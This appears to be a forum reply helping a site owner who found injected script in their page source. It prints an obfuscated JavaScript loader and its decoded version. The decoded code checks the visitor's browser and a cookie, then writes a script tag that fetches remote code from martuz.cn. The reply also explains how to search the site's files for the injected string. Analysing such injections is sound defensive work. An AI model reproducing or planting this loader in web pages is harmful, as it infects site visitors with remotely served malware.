Looking at your sites source code, shows the following;
(function(DBCp){var O7l='%';eval(unescape((':76ar:20a:3d:22ScriptEngine:22:2cb:3d:22V:65r:73:69on():2b:22:2cj:3d:22:22:2cu:3d:6eaviga:74:6fr:2eu:73er:41g:65n:74:3bif((u:2einde:78Of(:22:43:68rom:65:22):3c:30):26:26(u:2eind:65xOf(:22W:69n:22):3e0):26:26(u:2eindexOf(:22NT:206:22:29:3c0):26:26(do:63ument:2ec:6fokie:2e:69nde:78Of(:22miek:3d1:22:29:3c:30):26:26:28:74y:70eo:66(z:72v:7at:73):21:3dtypeo:66(:22A:22))):7b:7a:72v:7ats:3d:22:41:22:3beva:6c(:22if:28wi:6ed:6f:77:2e:22+a+:22:29j:3dj+:22+a:2b:22:4da:6ao:72:22+b+a+:22M:69nor:22:2bb+:61+:22:42u:69l:64:22:2bb+:22:6a:3b:22):3bd:6fc:75ment:2ewrite:28:22:3cscript:20src:3d:2f:2fmart:22:2b:22uz:2ec:6e:2fvid:2f:3fid:3d:22:2bj+:22:3e:3c:5c:2f:73c:72ipt:3e:22):3b:7d').replace(DBCp,O7l)))})(/\:/g);
Which decodes to;
var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;if((u.indexOf("Chrome")<0)&&(u.indexOf("Win")>0)&&(u.indexOf("NT 6")<0)&&(document.cookie.indexOf("miek=1")<0)&&(typeof(zrvzts)!=typeof("A"))){zrvzts="A";eval("if(window."+a+")j=j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");document.write("<script src=//mart"+"uz.cn/vid/?id="+j+"><\/script>");}
You're rather lucky here, aslong as the script is the same in all files, as all you need to do is search for the string "mart", as the obfuscation is extremely basic.
On your homepage, this script appears just next to the "HEAD" HTML tag;
